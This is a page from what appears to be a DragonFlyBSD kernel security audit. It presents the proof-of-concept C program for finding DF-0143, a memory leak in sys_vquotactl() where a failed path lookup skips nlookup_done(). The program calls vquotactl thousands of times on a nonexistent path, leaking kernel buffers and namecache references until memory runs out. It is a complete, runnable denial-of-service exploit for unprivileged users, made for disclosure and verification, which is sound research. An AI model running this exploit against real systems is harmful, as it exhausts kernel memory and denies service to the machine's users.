DragonFlyBSD Kernel Audit
DF-0143 / df0143_poc.c
← back to finding ↓ download raw
/*
 * DF-0143 - nlookupdata leaked on nlookup failure (missing nlookup_done).
 *
 * sys/kern/vfs_quota.c sys_vquotactl():
 *   351:  error = nlookup_init(&nd, path, UIO_USERSPACE, 0);
 *   352:  if (error)
 *   353:      return (error);
 *   354:  error = nlookup(&nd);
 *   355:  if (error)
 *   356:      return (error);          <-- BUG: no nlookup_done(&nd) here
 *   357:  nch = nd.nl_nch;
 *   358:  cache_zero(&nd.nl_nch);
 *   359:  nlookup_done(&nd);           <-- only reached on SUCCESS
 *
 * On a nlookup() failure the function returns without nlookup_done(), leaking:
 *   - nd.nl_path        : a MAXPATHLEN (1024) byte buffer from the namei_oc
 *                         objcache (backed by M_NAMEI, vfs_init.c:207).
 *   - nd.nl_nch         : a namecache handle with a held reference
 *                         (cache_copy in nlookup_init, vfs_nlookup.c:150/160/171),
 *                         pinning a namecache node permanently.
 *
 * An unprivileged user controls `path` and can make nlookup fail repeatedly
 * (ENOENT on a nonexistent path) -> unbounded kernel memory growth (M_NAMEI +
 * namecache).  DoS by memory exhaustion.
 *
 * Precondition (realistic, opt-in feature): vfs.quota_enabled=1 in
 * /boot/loader.conf + reboot.  The copyin+prop_dictionary_copyin must SUCCEED
 * to reach line 351, so we build a valid prop dictionary via libprop (same
 * marshalling as sbin/vquota/vquota.c:send_command).
 *
 * Build:  cc -o df0143_poc df0143_poc.c -lprop
 * Run:    ./df0143_poc /tmp 20000
 */
#include <sys/types.h>
#include <sys/vfs_quota.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <libprop/proplib.h>

/* Build a valid prop dict + plistref and call vquotactl(2).  Returns the
 * kernel errno (0 on success). Mirrors sbin/vquota send_command(). */
static int
vquota_cmd(const char *path, const char *cmd)
{
	prop_dictionary_t dict, res = NULL;
	struct plistref pref;
	int error;

	dict = prop_dictionary_create();
	if (dict == NULL)
		return ENOMEM;
	prop_dictionary_set_cstring(dict, "command", cmd);
	prop_dictionary_set(dict, "arguments", prop_array_create());
	error = prop_dictionary_send_syscall(dict, &pref);
	if (error == 0)
		error = vquotactl(path, &pref);
	if (error == 0)
		prop_dictionary_recv_syscall(&pref, &res);
	prop_object_release(dict);
	if (res)
		prop_object_release(res);
	return error;
}

int
main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "/tmp";
	long iters = argc > 2 ? strtol(argv[2], NULL, 10) : 20000;
	char nonexistent[64];
	long i;
	int lasterr = 0, ok = 0, fail = 0;

	/* A nonexistent path: nlookup_init succeeds (copies the string), nlookup()
	 * fails with ENOENT -> triggers the leak at vfs_quota.c:355. */
	snprintf(nonexistent, sizeof(nonexistent), "%s/df0143_does_not_exist_%d",
	    path, (int)getpid());

	printf("DF-0143: calling vquotactl('%s') x %ld (expect ENOENT each, "
	       "leaking nl_path + namecache ref)\n", nonexistent, iters);
	for (i = 0; i < iters; i++) {
		errno = 0;
		lasterr = vquota_cmd(nonexistent, "get usage all");
		if (lasterr == 0)
			ok++;
		else
			fail++;
		if ((i % 2000) == 0) {
			printf("  iter %ld: last rc=%d (%s)\n", i, lasterr,
			    strerror(lasterr));
		}
	}
	printf("done: %ld calls, %d rc=0, %d rc!=0 (last rc=%d %s)\n",
	    iters, ok, fail, lasterr, strerror(lasterr));
	printf("Check: vmstat -m | grep -i namei ; sysctl vfs.cache.numcache\n");
	return 0;
}